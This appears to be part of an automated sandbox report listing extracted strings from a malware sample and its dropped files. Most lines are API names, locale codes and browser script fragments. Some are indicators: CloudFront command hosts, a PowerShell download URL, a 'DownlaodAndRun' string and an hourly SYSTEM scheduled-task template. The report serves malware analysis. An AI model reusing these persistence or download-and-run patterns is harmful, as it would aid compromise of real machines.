Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CreateEventW
Ansi based on Dropped File (kokoko.dll.2691425955)
CreateFile2
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CreateFileA
Ansi based on Dropped File (psi.dll.1283195511)
CreateFileW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CreateKey
Unicode based on Dropped File (ttttt.exe.179545488)
CreateProcessW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Creates the registry keys [LoggerName] autologger session.
Unicode based on Dropped File (ttttt.exe.179545488)
CreateSemaphoreExW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CreateSemaphoreW
Ansi based on Dropped File (kokoko.dll.2691425955)
CreateServiceW
Ansi based on Dropped File (kokoko.dll.2691425955)
CreateSymbolicLinkW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CreateThread
Ansi based on Dropped File (kokoko.dll.2691425955)
CreateThreadpoolTimer
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CreateThreadpoolWait
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CreateToolhelp32Snapshot
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
CreateUriCacheSize
Unicode based on Runtime Data (rundll32.exe )
CreateWindowExW
Ansi based on Dropped File (kokoko.dll.2691425955)
crosoft Corporation. All rights reserved.
Unicode based on Dropped File (ttttt.exe.179545488)
cross device link
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CryptAcquireContextW
Ansi based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
CryptCreateHash
Ansi based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
CryptDestroyHash
Ansi based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
CryptGetHashParam
Ansi based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
CryptHashData
Ansi based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
CryptReleaseContext
Ansi based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
cs-CZ
Unicode based on Dropped File (UAC.dll.626400535)
cs-cz
Unicode based on Dropped File (hhhhh.exe.655875088)
cssBackground CSS * background ticket item. * @param {!print_preview.ticket_items.SelectionOnly} selectionOnly Selection * only ticket item. * @param {!print_preview.ticket_items.HeaderFooter} headerFooter Header * footer ticket ite
Ansi based on Runtime Data (CPK.exe )
CSWITCH
Unicode based on Dropped File (ttttt.exe.179545488)
ctDereference
Unicode based on Dropped File (ttttt.exe.179545488)
cter range, such as [b-a] in most encodings.
Ansi based on Dropped File (MIO.dll.1862922135)
ction modifyNtpDesignForIcons() { NTP_DESIGN.fakeboxWingSize = 132; NTP_DESIGN.mainClass = 'icon-ntp'; NTP_DESIGN.numTitleLines = 2; NTP_DESIGN.showFavicon = false; NTP_DESIGN.thumbnailFallback = null; NTP_DESIGN.tileWidth = 48 + 2 * 18; NTP_DESI
Ansi based on Runtime Data (CPK.exe )
ction(e){var br=this.canvas_.getBoundingClientRect();return[this.pixelRatio_*(e.clientX-this.canvas_.offsetLeft-br.left),this.pixelRatio_*(e.clientY-this.canvas_.offsetTop-br.top)];},onSelectionUpdate_:function(e){var mousePos=this.extractRelativeMousePosition
Ansi based on Runtime Data (CPK.exe )
ction=%s.install.init
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ctiveWindow
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
cts=[];}Region.fromArray=function(array){if(array.length%4!==0)throw new Error('Array must consist be a multiple of 4 in length');var r=new Region();for(var i=0;i<array.length;i+=4){r.rects.push(tr.b.Rect.fromXYWH(array[i],array[i+1],array[i+2],array[i+3]));
Ansi based on Runtime Data (CPK.exe )
CTYPE
Unicode based on Dropped File (hhhhh.exe.655875088)
ct|g\`.f
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Culdn't duplicate handle
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CURITY
Unicode based on Dropped File (psi.dll.1283195511)
CurrentVe
Unicode based on Dropped File (MIO.dll.1862922135)
CurrentVersion\Uninstall
Unicode based on Dropped File (MIO.dll.1862922135)
cution
Unicode based on Dropped File (ttttt.exe.179545488)
CuVAa
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
cvYRip=V=
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CWDIllegalInDLLSearch
Unicode based on Runtime Data (rundll32.exe )
cX%xRL{6m
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
cy-GB
Unicode based on Dropped File (UAC.dll.626400535)
czech
Unicode based on Dropped File (hhhhh.exe.655875088)
C{PX~/m9W
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
C~ZR;)
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
d 0x%08I64x
Unicode based on Dropped File (ttttt.exe.179545488)
d bytes
Unicode based on Dropped File (hhhhh.exe.655875088)
d not parse Group ID in Stack Walking Parameter File.
Ansi based on Dropped File (ttttt.exe.179545488)
d to allocate buffer: %d
Unicode based on Dropped File (ttttt.exe.179545488)
D",cyNMp0
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
d)' * label prefix. * @return {string} The category description. * @protected */ computeCategoryDesc: function(category, setting, showRecommendation) { var categoryEnabled = this.computeIsSettingEnabled(setting); switch (category) {
Ansi based on Runtime Data (CPK.exe )
D+HS@'8\
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
d1cik3fvaz5q0e.cloudfront.net
Ansi based on PCAP Processing (PCAP)
d2hrpnfyb3wv3k.cloudfront.net
Ansi based on PCAP Processing (PCAP)
d2hrpnfyb3wv3k.cloudfront.net/provide?clients=FDCD348802B68637AEF7B63EA18BF8E1&
Unicode based on Runtime Data (powershell.exe )
d2UJ^ZkY2
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
d32z:ckZ&
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
d34cz67a0qhhno.cloudfront.net
Ansi based on PCAP Processing (PCAP)
d3gacmsp3jwwnv.cloudfront.net
Ansi based on PCAP Processing (PCAP)
d3i1asoswufp5k.cloudfront.net
Ansi based on PCAP Processing (PCAP)
d4c04g24ci6x7.cloudfront.net
Ansi based on PCAP Processing (PCAP)
d9l^=n63N
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
d:\beyond_buildbot\branch_slave\svn_dir\build\bin\pdb\Release\QQBrowser.pdb
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
D:\git\SysInternals\ProcExp\Sys\Win32\Release\ProcExpDriver.pdb
Ansi based on Dropped File (hhhhh.exe.655875088)
D:\git\SysInternals\ProcExp\Sys\x64\Release\ProcExpDriver.pdb
Ansi based on Dropped File (hhhhh.exe.655875088)
d> Enable tracing for a provider by guid
Unicode based on Dropped File (ttttt.exe.179545488)
d????_tO?{?Tg?
Ansi based on Runtime Data (rundll32.exe )
D????E?
Ansi based on Runtime Data (rundll32.exe )
d?Bg?z????
Ansi based on Runtime Data (rundll32.exe )
D?JZ?!
Ansi based on Runtime Data (rundll32.exe )
D@'.9
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
D[VUTCVETSFU
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
d_`vV
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
d_SWM4|?+
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
D`~%rY
Ansi based on Dropped File (hhhhh.exe.655875088)
da-dk
Unicode based on Dropped File (hhhhh.exe.655875088)
data error
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
datareportfile
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
DbgPrint
Unicode based on Dropped File (ttttt.exe.179545488)
dbog-?4j;G
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
dc44qjwal3p07.cloudfront.net
Ansi based on PCAP Processing (PCAP)
dddd, MMMM dd, yyyy
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
DDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
de-AT
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
de-CH
Unicode based on Dropped File (UAC.dll.626400535)
de-ch
Unicode based on Dropped File (hhhhh.exe.655875088)
de-DE
Unicode based on Dropped File (UAC.dll.626400535)
de-li
Unicode based on Dropped File (hhhhh.exe.655875088)
de=(!skipHidden||this.revealed)?this.children[0]:null;if(node&&(!skipHidden||this.expanded)){if(info)info.depthChange=1;return node;}if(this===stayWithin)return null;node=(!skipHidden||this.revealed)?this.nextSibling:null;if(node)return node;node=this;
Ansi based on Runtime Data (CPK.exe )
de\Microsoft\Windows\
Unicode based on Dropped File (MIO.dll.1862922135)
Debugger
Unicode based on Dropped File (ttttt.exe.179545488)
DebugHeapFlags
Unicode based on Runtime Data (rundll32.exe )
December
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
DecodePointer
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Default
Ansi based on Dropped File (kokoko.dll.2691425955)
default value
Unicode based on Dropped File (ttttt.exe.179545488)
DefaultAccessPermission
Unicode based on Runtime Data (QQBrowser.exe )
DefaultBrowserServer
Unicode based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
DefaultConnectionSettings
Unicode based on Runtime Data (QQBrowser.exe )
DefWindowProcW
Ansi based on Dropped File (kokoko.dll.2691425955)
DelayOpen
Unicode based on Dropped File (ttttt.exe.179545488)
DelegateExecute
Unicode based on Runtime Data (rundll32.exe )
Delete
Unicode based on Dropped File (psi.dll.1283195511)
delete
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
delete[]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
DeleteCriticalSection
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
DeleteFileA
Ansi based on Dropped File (MIO.dll.1862922135)
DeleteFileW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
DeleteKey
Unicode based on Dropped File (ttttt.exe.179545488)
DeleteService
Ansi based on Dropped File (kokoko.dll.2691425955)
DeleteValue
Unicode based on Dropped File (ttttt.exe.179545488)
DemandZero
Unicode based on Dropped File (ttttt.exe.179545488)
deque<T> too long
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Description
Unicode based on Runtime Data (rundll32.exe )
Desktop
Unicode based on Runtime Data (rundll32.exe )
destination address required
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
destination_address_required
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
deString
Ansi based on Dropped File (hhhhh.exe.655875088)
Destroy
Unicode based on Dropped File (ttttt.exe.179545488)
DestroyWindow
Ansi based on Dropped File (kokoko.dll.2691425955)
device or resource busy
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
DeviceIoControl
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
DevicePath
Unicode based on Runtime Data (rundll32.exe )
DeviceType
Unicode based on Dropped File (hhhhh.exe.655875088)
dfrs12kz9qye2.cloudfront.net
Ansi based on PCAP Processing (PCAP)
DG9y?
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
DhcpDomain
Unicode based on Runtime Data (CPK.exe )
DhcpNameServer
Unicode based on Runtime Data (CPK.exe )
Dhcpv6Domain
Unicode based on Runtime Data (CPK.exe )
DHVAq]M(|
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
dhxx2phjrf4w5.cloudfront.net
Ansi based on PCAP Processing (PCAP)
DialogBoxIndirectParamW
Ansi based on Dropped File (hhhhh.exe.655875088)
DialogBoxParamW
Ansi based on Dropped File (kokoko.dll.2691425955)
DialupUseLanSettings
Unicode based on Runtime Data (QQBrowser.exe )
digit
Unicode based on Dropped File (kokoko.dll.2691425955)
directory not empty
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Dirty
Unicode based on Dropped File (ttttt.exe.179545488)
disable
Unicode based on Dropped File (ttttt.exe.179545488)
Disable
Unicode based on Runtime Data (rundll32.exe )
DisableBasicOverClearChannel
Unicode based on Runtime Data (QQBrowser.exe )
DisableBranchCache
Unicode based on Runtime Data (QQBrowser.exe )
DisableCachingOfSSLPages
Unicode based on Runtime Data (QQBrowser.exe )
DisableImprovedZoneCheck
Unicode based on Runtime Data (rundll32.exe )
DisableKeepAlive
Unicode based on Runtime Data (QQBrowser.exe )
DisableLocalOverride
Unicode based on Runtime Data (rundll32.exe )
DisableMetaFiles
Unicode based on Runtime Data (rundll32.exe )
DisableNTLMPreAuth
Unicode based on Runtime Data (QQBrowser.exe )
DisablePassport
Unicode based on Runtime Data (QQBrowser.exe )
DisableReadRange
Unicode based on Runtime Data (QQBrowser.exe )
DisableSecuritySettingsCheck
Unicode based on Runtime Data (rundll32.exe )
DisableThreadLibraryCalls
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
DisableUserModeCallbackFilter
Unicode based on Runtime Data (rundll32.exe )
DisableWorkerThreadHibernation
Unicode based on Runtime Data (QQBrowser.exe )
Disabling %s to logger %I64d
Unicode based on Dropped File (ttttt.exe.179545488)
DiskIo
Unicode based on Dropped File (ttttt.exe.179545488)
DiskWrite
Unicode based on Dropped File (ttttt.exe.179545488)
DispatchMessageW
Ansi based on Dropped File (kokoko.dll.2691425955)
DisplayName
Unicode based on Dropped File (MIO.dll.1862922135)
DisplayScriptDownloadFailureUI
Unicode based on Runtime Data (QQBrowser.exe )
DisplayString
Unicode based on Runtime Data (QQBrowser.exe )
div-MV
Unicode based on Dropped File (UAC.dll.626400535)
div-mv
Unicode based on Dropped File (hhhhh.exe.655875088)
DjK{eFDt"$
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
dK/O[~/%3x7
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
dle close aborted.
Ansi based on Dropped File (hhhhh.exe.655875088)
DllFile
Unicode based on Runtime Data (QQBrowser.exe )
DnsCacheEnabled
Unicode based on Runtime Data (QQBrowser.exe )
DnsCacheEntries
Unicode based on Runtime Data (QQBrowser.exe )
DnsCacheTimeout
Unicode based on Runtime Data (QQBrowser.exe )
Do you want to stop the "%s" session (Y or N)?
Unicode based on Dropped File (ttttt.exe.179545488)
Do9ad*~V\
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
DocObject
Unicode based on Runtime Data (rundll32.exe )
Domain
Unicode based on Runtime Data (CPK.exe )
DOMAIN error
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
dominican republic
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
DontPrettyPath
Unicode based on Runtime Data (rundll32.exe )
DontUseDNSLoadBalancing
Unicode based on Runtime Data (QQBrowser.exe )
dOperation Status: %uL%s
Unicode based on Dropped File (ttttt.exe.179545488)
double
Ansi based on Dropped File (kokoko.dll.2691425955)
double out of Int range
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
double out of Int64 range
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
double out of UInt range
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
double out of UInt64 range
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
dow-split-widget.vbox.shadow-split-widget-first-is-sidebar > .shadow-split-widget-sidebar:not(.maximized) {\n border: 0;\n border-bottom: 1px solid rgb(64%, 64%, 64%);\n}\n\n.shadow-split-widget.hbox > .shadow-split-widget-sidebar:not(.maximized) {\n
Ansi based on Runtime Data (CPK.exe )
DownlaodAndRun
Ansi based on PCAP Processing (PCAP)
DPC_QUEUE
Unicode based on Dropped File (ttttt.exe.179545488)
DpcEnqueue
Unicode based on Dropped File (ttttt.exe.179545488)
DriveMask
Unicode based on Runtime Data (rundll32.exe )
DriverPrivilege
Unicode based on Dropped File (hhhhh.exe.655875088)
Du3v;
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ductName
Unicode based on Dropped File (ttttt.exe.179545488)
DuplicateHandle
Ansi based on Dropped File (hhhhh.exe.655875088)
dutch-belgian
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
dV#1>8
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
dY507W4U_
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
dz17 123<1
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
dzObO
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
e "%s" session has not been stopped, current Status is
Unicode based on Dropped File (ttttt.exe.179545488)
e /SC HOURLY /MO %d /ST 00:%02d:00 /TN "%s" /TR "%s" /RU "SYSTEM" /F /RL HIGHEST
Unicode based on Dropped File (psi.dll.1283195511)
e = opt_type || 'favicon'; return getImageSet( 'chrome://' + type + '/size/' + size + '@scalefactorx/' + // Note: Literal 'iconurl' must match |kIconURLParameter| in // components/favicon_base/favicon_url_parser.cc. (FAVICO
Ansi based on Runtime Data (CPK.exe )
e from this assembly during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.
Unicode based on Dropped File (MIO.dll.1862922135)
e TD1-,fc
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
e unknown>
Unicode based on Dropped File (MIO.dll.1862922135)
e(data)); } catch(e) { var container = $('log-container'); container.textContent = 'No log entries'; } }; /** * Requests a log update. */ var requestLog = function() { chrome.send('DeviceLog.getLog'); }; /** * Sets
Ansi based on Runtime Data (CPK.exe )
E(m.]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
e*&3):q.
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
E*n!#{Wl?0
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
e+000
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
e-allocate
Unicode based on Dropped File (ttttt.exe.179545488)
e-hongkong
Unicode based on Dropped File (hhhhh.exe.655875088)
e-singapore
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
e-traditional
Unicode based on Dropped File (hhhhh.exe.655875088)
e. This // skips validation and calls the callback directly. if (callback) callback(response); }); // Also convert complex permissions back to objects for events. The // dispatchToListener call happens after argument vali
Ansi based on Runtime Data (CPK.exe )
E1O@EB$kQ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
e31RR9*8SK~%d|$
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
e5ltD6aI
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
e: PerfCounter
Unicode based on Dropped File (ttttt.exe.179545488)
e: %d Kb
Unicode based on Dropped File (ttttt.exe.179545488)
E:\code\PsTask\Ps_Install\Release\psi.pdb
Ansi based on Dropped File (psi.dll.1283195511)
E:\code\UAC\UAC_CODE\Release\CC.pdb
Ansi based on Dropped File (UAC.dll.626400535)
e;for(var object of snapshotInstances[0].snapshots)snapshots.push(object.args.processes);}return snapshots;}function getProcessSumsFromSnapshot(snapshot){var processSums=new Map();for(var processData of snapshot){var processName=processData.name;if(!(proces
Ansi based on Runtime Data (CPK.exe )
e;this._callsPendingOpen=[];this._pendingReads=[];Bindings.TempFile.create(dirPath,name).then(this._didCreateTempFile.bind(this),this._failedToCreateTempFile.bind(this));}write(strings,callback){if(this._finishCallback)throw new Error('No writes are allowe
Ansi based on Runtime Data (CPK.exe )
E<u/1^LW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
e=isEditingName;if(!isEditingName){this.disableDefaultSuggestionForEmptyInput();if(treeElement&&treeElement.valueElement){var cssValueText=treeElement.valueElement.textContent;if(cssValueText.match(/#[\da-f]{3,6}$/i)){this.setTitle(Common.UIString('Increment/d
Ansi based on Runtime Data (CPK.exe )
e=Zqndo!Y
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
E??????u?
Ansi based on Runtime Data (rundll32.exe )
E??E???u
Ansi based on Runtime Data (rundll32.exe )
E??L!e
Ansi based on Runtime Data (rundll32.exe )
E??u0?A?
Ansi based on Runtime Data (rundll32.exe )
E?E?M?+M?M?U?E??P?
Ansi based on Runtime Data (rundll32.exe )
E?M?]?U??m???
Ansi based on Runtime Data (rundll32.exe )
E?q?5?
Ansi based on Runtime Data (rundll32.exe )
E\Nv.M# _+l
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
e\PROCEXP152
Unicode based on Dropped File (hhhhh.exe.655875088)
E^2tB)pr
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
e`-n_[
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
E`PK1{@+O
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
eCaller: can only get memory of a memory zipfile
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
eChild('div','content');if(showTimer){var timeLine=this.contentElement.createChild('div','status-dialog-line time');timeLine.createChild('div','label').textContent=Common.UIString('Time');this._time=timeLine.createChild('div','content');}var progressLine=thi
Ansi based on Runtime Data (CPK.exe )
ected multithread lock error
Unicode based on Dropped File (MIO.dll.1862922135)
ection
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
ector === hostScope + ' > *.' + hostScope || parsedSelector.indexOf('html') !== -1;isHost = !isRoot && parsedSelector.indexOf(hostScope) === 0;}if (cssBuild === 'shadow') {isRoot = parsedSelector === ':host > *' || parsedSelector === 'html';isHost = isHos
Ansi based on Runtime Data (CPK.exe )
ecutablePath
Unicode based on Dropped File (kokoko.dll.2691425955)
ed to get current directory
Unicode based on Dropped File (ttttt.exe.179545488)
ed'))){errorCallback('Protocol Error: Optional callback argument for method \''+method+'\' call must be a function but its type is \''+typeof args[0]+'\'.');return null;}if(args.length>1){errorCallback('Protocol Error: Extra '+args.length+' arguments in a ca
Ansi based on Runtime Data (CPK.exe )
ed-states
Unicode based on Dropped File (hhhhh.exe.655875088)
ed20.dll
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
ed32.dll
Unicode based on Dropped File (hhhhh.exe.655875088)
eD6aqQM'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
edc&+/&l%*
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
eDescriptor(UI.KeyboardShortcut.Keys.Space,UI.KeyboardShortcut.Modifiers.Ctrl)],IncreaseCSSUnitByOne:[UI.KeyboardShortcut.makeDescriptor(UI.KeyboardShortcut.Keys.Up,UI.KeyboardShortcut.Modifiers.Alt)],DecreaseCSSUnitByOne:[UI.KeyboardShortcut.makeDescriptor(UI
Ansi based on Runtime Data (CPK.exe )
eDestroy
Unicode based on Dropped File (ttttt.exe.179545488)
ee%$-K>
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
eeded.call(this);}_tagNameEditingCommitted(element,newText,oldText,tagName,moveDirection){delete this._editing;var self=this;function cancel(){var closingTagElement=self._distinctClosingTagElement();if(closingTagElement)closingTagElement.textContent='</'+t
Ansi based on Runtime Data (CPK.exe )
ef-+XxPp
Ansi based on Dropped File (kokoko.dll.2691425955)
EfgQ@#@"Y
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
eFilter <Executable names>
Unicode based on Dropped File (ttttt.exe.179545488)
eFkP6/T9
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
EHQ;AhtMj
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
eIS-ra2QGsx
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
eJ???
Ansi based on Runtime Data (rundll32.exe )
ejHEA`/=]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
EJ{F3hk,O,9
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Ek+lGr-YY"
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
el"}.
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
el#`-D4O
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
el32.dll
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
ElBT7J2*RG"
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
elete correctly. See also // deleteItemAtIndex() in password_manager_list.js that uses this. entry[options.passwordManager.ORIGINAL_INDEX_FIELD] = index; return true; } return false; }; en
Ansi based on Runtime Data (CPK.exe )
elQueueEnqueue
Unicode based on Dropped File (ttttt.exe.179545488)
ember
Unicode based on Dropped File (hhhhh.exe.655875088)
emInfo) { request.sendReport(useSystemInfo); }; // Observe when the window is closed. appWindow.onClosed.addListener(function() { request.onWindowClosed(); }); });}chrome.runtime.onMessage.addListen
Ansi based on Runtime Data (CPK.exe )
emoveDecoration(this._decoration,lineNumber);this._hasDecoration=false;}uniqueMessagesCount(){return this._messages.length;}addMessage(message){for(var i=0;i<this._messages.length;++i){var rowMessage=this._messages[i];if(rowMessage.message().isEqual(messag
Ansi based on Runtime Data (CPK.exe )
empt to initialize the CRT more than once.This indicates a bug in your application.
Unicode based on Dropped File (MIO.dll.1862922135)
empty distance tree with lengths
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Empty escape sequence in string
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
emTime
Unicode based on Dropped File (ttttt.exe.179545488)
en-au
Unicode based on Dropped File (hhhhh.exe.655875088)
en-BZ
Unicode based on Dropped File (hhhhh.exe.655875088)
en-ca
Unicode based on Dropped File (hhhhh.exe.655875088)
en-CA
Unicode based on Dropped File (hhhhh.exe.655875088)
en-CB
Unicode based on Dropped File (hhhhh.exe.655875088)
en-GB
Unicode based on Dropped File (hhhhh.exe.655875088)
en-gb
Unicode based on Dropped File (hhhhh.exe.655875088)
en-jm
Unicode based on Dropped File (hhhhh.exe.655875088)
en-NZ
Unicode based on Dropped File (hhhhh.exe.655875088)
en-ph
Unicode based on Dropped File (hhhhh.exe.655875088)
en-PH
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
en-TT
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
en-US
Unicode based on Runtime Data (rundll32.exe )
en-us
Unicode based on Dropped File (hhhhh.exe.655875088)
en-zw
Unicode based on Dropped File (hhhhh.exe.655875088)
en-ZW
Unicode based on Dropped File (hhhhh.exe.655875088)
enable
Unicode based on Dropped File (ttttt.exe.179545488)
Enable Process Private tracing
Unicode based on Dropped File (ttttt.exe.179545488)
Enable tracing in kernel debugger
Unicode based on Dropped File (ttttt.exe.179545488)
EnableAutodial
Unicode based on Runtime Data (QQBrowser.exe )
EnableAutoProxyResultCache
Unicode based on Runtime Data (QQBrowser.exe )
EnableConsoleTracing
Unicode based on Runtime Data (QQBrowser.exe )
enabled
Ansi based on Dropped File (kokoko.dll.2691425955)
Enabled
Unicode based on Dropped File (ttttt.exe.179545488)
Enabled Providers:
Unicode based on Dropped File (ttttt.exe.179545488)
Enabled tracing:
Unicode based on Dropped File (ttttt.exe.179545488)
EnableDhcp
Unicode based on Runtime Data (CPK.exe )
EnableFileTracing
Unicode based on Runtime Data (QQBrowser.exe )
EnableHttp1_1
Unicode based on Runtime Data (QQBrowser.exe )
EnableHttpTrace
Unicode based on Runtime Data (QQBrowser.exe )
EnableIE8Core
Unicode based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
EnableKernelFlags
Unicode based on Dropped File (ttttt.exe.179545488)
EnableLevel
Unicode based on Dropped File (ttttt.exe.179545488)
EnableNegotiate
Unicode based on Runtime Data (QQBrowser.exe )
EnableProperty
Unicode based on Dropped File (ttttt.exe.179545488)
EnablePunycode
Unicode based on Runtime Data (rundll32.exe )
EnableTrace
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
EnableTraceEx2
Ansi based on Dropped File (ttttt.exe.179545488)
EnableUTF8
Unicode based on Runtime Data (QQBrowser.exe )
Enabling %s (Flags = 0x%.8x Level = %-3d) to logger %I64d
Unicode based on Dropped File (ttttt.exe.179545488)
Enabling %s (MatchAny = 0x%I64x MatchAll = 0x%I64x Level = %-3d) to logger %I64d
Unicode based on Dropped File (ttttt.exe.179545488)
Enabling Stack Caching
Unicode based on Dropped File (ttttt.exe.179545488)
